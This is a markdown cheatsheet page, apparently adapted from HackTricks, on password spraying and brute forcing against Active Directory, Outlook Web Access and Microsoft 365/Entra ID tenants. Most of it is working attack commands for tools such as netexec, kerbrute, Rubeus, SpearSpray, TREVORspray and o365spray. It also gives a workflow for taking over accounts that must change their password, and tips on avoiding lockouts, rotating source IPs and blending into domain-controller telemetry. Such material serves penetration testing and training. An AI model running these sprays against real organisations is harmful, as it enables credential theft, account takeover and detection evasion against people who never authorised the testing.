daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

password-spraying.md (16063B)


      1 ---
      2 title: "Password Spraying / Brute Force"
      3 section: "Windows"
      4 sectionSlug: "windows-hardening"
      5 sourcePath: "src/windows-hardening/active-directory-methodology/password-spraying.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/active-directory-methodology/password-spraying.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Password Spraying / Brute Force
     14 
     15 ## **Password Spraying**
     16 
     17 Once you have found several **valid usernames** you can try the most **common passwords** (keep in mind the password policy of the environment) with each of the discovered users.\
     18 By **default** the **minimum** **password** **length** is **7**.
     19 
     20 Lists of common usernames could also be useful: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames)
     21 
     22 Notice that you **could lockout some accounts if you try several wrong passwords** (by default more than 10).
     23 
     24 ### Get password policy
     25 
     26 If you have some user credentials or a shell as a domain user you can **get the password policy with**:
     27 
     28 ```bash
     29 # From Linux
     30 crackmapexec <IP> -u 'user' -p 'password' --pass-pol
     31 
     32 enum4linux -u 'username' -p 'password' -P <IP>
     33 
     34 rpcclient -U "" -N 10.10.10.10;
     35 rpcclient $>querydominfo
     36 
     37 ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength
     38 
     39 # From Windows
     40 net accounts
     41 
     42 (Get-DomainPolicy)."SystemAccess" #From powerview
     43 ```
     44 
     45 ### Exploitation from Linux (or all)
     46 
     47 - Using **crackmapexec:**
     48 
     49 ```bash
     50 crackmapexec smb <IP> -u users.txt -p passwords.txt
     51 # Local Auth Spray (once you found some local admin pass or hash)
     52 ## --local-auth flag indicate to only try 1 time per machine
     53 crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
     54 ```
     55 
     56 - Using **NetExec (CME successor)** for targeted, low-noise spraying across SMB/WinRM:
     57 
     58 ```bash
     59 # Optional: generate a hosts entry to ensure Kerberos FQDN resolution
     60 netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
     61 
     62 # Spray a single candidate password against harvested users over SMB
     63 netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
     64   --continue-on-success --no-bruteforce --shares
     65 
     66 # Validate a hit over WinRM (or use SMB exec methods)
     67 netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
     68 
     69 # Tip: sync your clock before Kerberos-based auth to avoid skew issues
     70 sudo ntpdate <DC_FQDN>
     71 ```
     72 
     73 - Using [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
     74 
     75 ```bash
     76 # Password Spraying
     77 ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
     78 # Brute-Force
     79 ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
     80 ```
     81 
     82 - [**spray**](https://github.com/Greenwolf/Spray) _**(you can indicate number of attempts to avoid lockouts):**_<sup>[[3]](#references)</sup>
     83 
     84 ```bash
     85 spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
     86 ```
     87 
     88 - Using [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NOT RECOMMENDED SOMETIMES DOESN'T WORK<sup>[[2]](#references)</sup>
     89 
     90 ```bash
     91 python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
     92 python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
     93 ```
     94 
     95 - With the `scanner/smb/smb_login` module of **Metasploit**:
     96 
     97 ![Password Spraying - Brute-Force: With the scanner/smb/smb login module of Metasploit](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28745%29.png)
     98 
     99 - Using **rpcclient**:<sup>[[6]](#references)</sup>
    100 
    101 ```bash
    102 # https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
    103 for u in $(cat users.txt); do
    104     rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
    105 done
    106 ```
    107 
    108 #### From Windows
    109 
    110 - With [Rubeus](https://github.com/Zer1t0/Rubeus) version with brute module:
    111 
    112 ```bash
    113 # with a list of users
    114 .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
    115 
    116 # check passwords for all users in current domain
    117 .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
    118 ```
    119 
    120 - With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (It can generate users from the domain by default and it will get the password policy from the domain and limit tries according to it):<sup>[[4]](#references)</sup>
    121 
    122 ```bash
    123 Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
    124 ```
    125 
    126 - With [**Invoke-SprayEmptyPassword.ps1**](https://github.com/S3cur3Th1sSh1t/Creds/blob/master/PowershellScripts/Invoke-SprayEmptyPassword.ps1)
    127 
    128 ```text
    129 Invoke-SprayEmptyPassword
    130 ```
    131 
    132 ### Identify and Take Over "Password must change at next logon" Accounts (SAMR)
    133 
    134 A low-noise technique is to spray a benign/empty password and catch accounts returning STATUS_PASSWORD_MUST_CHANGE, which indicates the password was forcibly expired and can be changed without knowing the old one.<sup>[[9]](#references)[[10]](#references)</sup>
    135 
    136 Workflow:
    137 - Enumerate users (RID brute via SAMR) to build the target list:
    138 
    139 [Rpcclient Enumeration](/hacktricks/network-services-pentesting/pentesting-smb/rpcclient-enumeration)
    140 
    141 ```bash
    142 # NetExec (null/guest) + RID brute to harvest users
    143 netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
    144 ```
    145 
    146 - Spray an empty password and keep going on hits to capture accounts that must change at next logon:
    147 
    148 ```bash
    149 # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
    150 netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
    151 ```
    152 
    153 - For each hit, change the password over SAMR with NetExec’s module (no old password needed when "must change" is set):
    154 
    155 ```bash
    156 # Strong complexity to satisfy policy
    157 env NEWPASS='P@ssw0rd!2025#' ; \
    158 netexec smb <DC.FQDN> -u <User> -p '' -M change-password -o NEWPASS="$NEWPASS"
    159 
    160 # Validate and retrieve domain password policy with the new creds
    161 netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
    162 ```
    163 
    164 Operational notes:
    165 - Ensure your host clock is in sync with the DC before Kerberos-based operations: `sudo ntpdate <dc_fqdn>`.
    166 - A [+] without (Pwn3d!) in some modules (e.g., RDP/WinRM) means the creds are valid but the account lacks interactive logon rights.
    167 
    168 ## Brute Force
    169 
    170 ```bash
    171 legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
    172 ```
    173 
    174 ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
    175 
    176 Kerberos pre-auth–based spraying reduces noise vs SMB/NTLM/LDAP bind attempts and aligns better with AD lockout policies. SpearSpray couples LDAP-driven targeting, a pattern engine, and policy awareness (domain policy + PSOs + badPwdCount buffer) to spray precisely and safely. It can also tag compromised principals in Neo4j for BloodHound pathing.<sup>[[1]](#references)</sup>
    177 
    178 Key ideas:
    179 - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
    180 - Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
    181 - Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
    182 - Pattern-based, per-user password generation using variables like names and temporal values derived from each user’s pwdLastSet.
    183 - Throughput control with threads, jitter, and max requests per second.
    184 - Optional Neo4j integration to mark owned users for BloodHound.
    185 
    186 Basic usage and discovery:
    187 
    188 ```bash
    189 # List available pattern variables
    190 spearspray -l
    191 
    192 # Basic run (LDAP bind over TCP/389)
    193 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
    194 
    195 # LDAPS (TCP/636)
    196 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
    197 ```
    198 
    199 Targeting and pattern control:
    200 
    201 ```bash
    202 # Custom LDAP filter (e.g., target specific OU/attributes)
    203 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
    204   -q "(&(objectCategory=person)(objectClass=user)(department=IT))"
    205 
    206 # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
    207 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
    208 ```
    209 
    210 Stealth and safety controls:
    211 
    212 ```bash
    213 # Control concurrency, add jitter, and cap request rate
    214 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
    215 
    216 # Leave N attempts in reserve before lockout (default threshold: 2)
    217 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -thr 2
    218 ```
    219 
    220 Neo4j/BloodHound enrichment:
    221 
    222 ```bash
    223 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -nu neo4j -np bloodhound --uri bolt://localhost:7687
    224 ```
    225 
    226 Pattern system overview (patterns.txt):
    227 
    228 ```text
    229 # Example templates consuming per-user attributes and temporal context
    230 {name}{separator}{year}{suffix}
    231 {month_en}{separator}{short_year}{suffix}
    232 {season_en}{separator}{year}{suffix}
    233 {samaccountname}
    234 {extra}{separator}{year}{suffix}
    235 ```
    236 
    237 Available variables include:
    238 - {name}, {samaccountname}
    239 - Temporal from each user’s pwdLastSet (or whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
    240 - Composition helpers and org token: {separator}, {suffix}, {extra}
    241 
    242 Operational notes:
    243 - Favor querying the PDC-emulator with -dc to read the most authoritative badPwdCount and policy-related info.
    244 - badPwdCount resets are triggered on the next attempt after the observation window; use threshold and timing to stay safe.
    245 - Kerberos pre-auth attempts surface as 4768/4771 in DC telemetry; use jitter and rate-limiting to blend in.
    246 
    247 > Tip: SpearSpray’s default LDAP page size is 200; adjust with -lps as needed.
    248 
    249 ## Outlook Web Access
    250 
    251 There are multiples tools for p**assword spraying outlook**.
    252 
    253 - With [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
    254 - with [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
    255 - With [Ruler](https://github.com/sensepost/ruler) (reliable!)<sup>[[5]](#references)</sup>
    256 - With [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
    257 - With [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
    258 
    259 To use any of these tools, you need a user list and a password / a small list of passwords to spray.
    260 
    261 ```bash
    262 ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
    263     [x] Failed: larsson:Summer2020
    264     [x] Failed: cube0x0:Summer2020
    265     [x] Failed: a.admin:Summer2020
    266     [x] Failed: c.cube:Summer2020
    267     [+] Success: s.svensson:Summer2020
    268 ```
    269 
    270 ## Microsoft 365 / Entra ID
    271 
    272 For cloud spraying, first identify whether the tenant is **managed**, **federated**, or **hybrid**, because the endpoint and the lockout behavior can differ from on-prem AD. In Microsoft Entra, **Smart Lockout** changes how repeated guesses consume the lockout budget:<sup>[[7]](#references)</sup>
    273 
    274 - Repeating the **same bad password** doesn't keep incrementing the lockout counter, but trying **new candidates** does.
    275 - **Familiar** and **unfamiliar** locations have **separate** counters.
    276 - Tenants using **pass-through authentication (PTA)** don't benefit from the bad-password hash tracking, so treat them more like classic lockout-sensitive targets.
    277 
    278 In practice, spray **one password per round**, keep enough spacing between rounds, and prefer tooling that can discover the tenant's actual auth flow before sending guesses.
    279 
    280 - With [**TREVORspray**](https://github.com/blacklanternsecurity/TREVORspray), you can recon the tenant, discover the `token_endpoint`, spray `msol`/`adfs`/`owa`/`okta`, and rotate traffic through multiple egress IPs:
    281 
    282 ```bash
    283 # Enumerate tenant info, autodiscover, and the token endpoint
    284 trevorspray --recon corp.com
    285 
    286 # Spray against the discovered token endpoint with delay/jitter
    287 trevorspray -u users.txt -p 'Winter2025!' \
    288   --url https://login.windows.net/<tenant-id>/oauth2/token \
    289   --delay 5 --jitter 3 --lockout-delay 60
    290 
    291 # Round-robin between multiple SSH egress points
    292 trevorspray -u users.txt -p 'Winter2025!' \
    293   --url https://login.windows.net/<tenant-id>/oauth2/token \
    294   --ssh root@1.2.3.4 root@4.3.2.1 --delay 5
    295 ```
    296 
    297 - With [**Spray365**](https://github.com/MarkoH17/Spray365), you can pre-build a resumable **execution plan**, randomize auth order, and enforce a **minimum delay per user** to stay outside the lockout window:
    298 
    299 ```bash
    300 # Generate a plan with shuffled auth order and a per-user minimum delay
    301 python3 spray365.py generate normal -ep plan.s365 -d corp.com \
    302   -u users.txt -pf passwords.txt --delay 30 -mD 1800 \
    303   -S -rUA
    304 
    305 # Execute the plan and abort after observing several lockouts
    306 python3 spray365.py spray -ep plan.s365 -l 5
    307 ```
    308 
    309 - With [**o365spray**](https://github.com/0xZDH/o365spray), you can validate the tenant, enumerate users with modules such as `onedrive`, and spray via `oauth2` or `adfs` while keeping **one attempt per user** per lockout window. If you already have a FireProx API, pass it with `--proxy-url` to distribute the source IPs:
    310 
    311 ```bash
    312 o365spray --validate --domain corp.com
    313 o365spray --enum -U users.txt --domain corp.com --enum-module onedrive
    314 o365spray --spray -U valid.txt -P passwords.txt --count 1 --lockout 15 --domain corp.com
    315 ```
    316 
    317 Recent operator tradecraft has also moved toward **distributed cloud spraying**. [**TeamFiltration**](https://github.com/Flangvik/TeamFiltration) supports time windows, password shuffling, ADFS/M365 spraying, and automatic post-auth exfiltration. Recent real-world abuse also used **Microsoft Teams API** account enumeration and **AWS region rotation** to spread spray waves across multiple source geographies.<sup>[[8]](#references)</sup>
    318 
    319 ## Google
    320 
    321 - [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
    322 
    323 ## Okta
    324 
    325 - [https://github.com/ustayready/CredKing/blob/master/credking.py](https://github.com/ustayready/CredKing/blob/master/credking.py)
    326 - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
    327 - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
    328 
    329 ## References
    330 
    331 - [1] [SpearSpray – Enhance Your Active Directory Password Spraying with User Intelligence](https://github.com/sikumy/spearspray)
    332 - [2] [TarlogicSecurity/kerbrute – Kerberos bruteforcing with Impacket (Python)](https://github.com/TarlogicSecurity/kerbrute)
    333 - [3] [Spray – A Password Spraying tool for Active Directory Credentials](https://github.com/Greenwolf/Spray)
    334 - [4] [Active Directory Password Spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying)
    335 - [5] [Password Spraying Outlook Web Access: Remote Shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell)
    336 - [6] [Password Spraying & Other Fun with RPCCLIENT](https://www.blackhillsinfosec.com/?p=5296)
    337 - [7] [Microsoft Entra smart lockout](https://learn.microsoft.com/en-us/entra/identity/authentication/howto-password-smart-lockout)
    338 - [8] [Proofpoint: Attackers Unleash TeamFiltration: Account Takeover Campaign](https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign)
    339 - [9] [HTB Sendai – 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
    340 - [10] [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)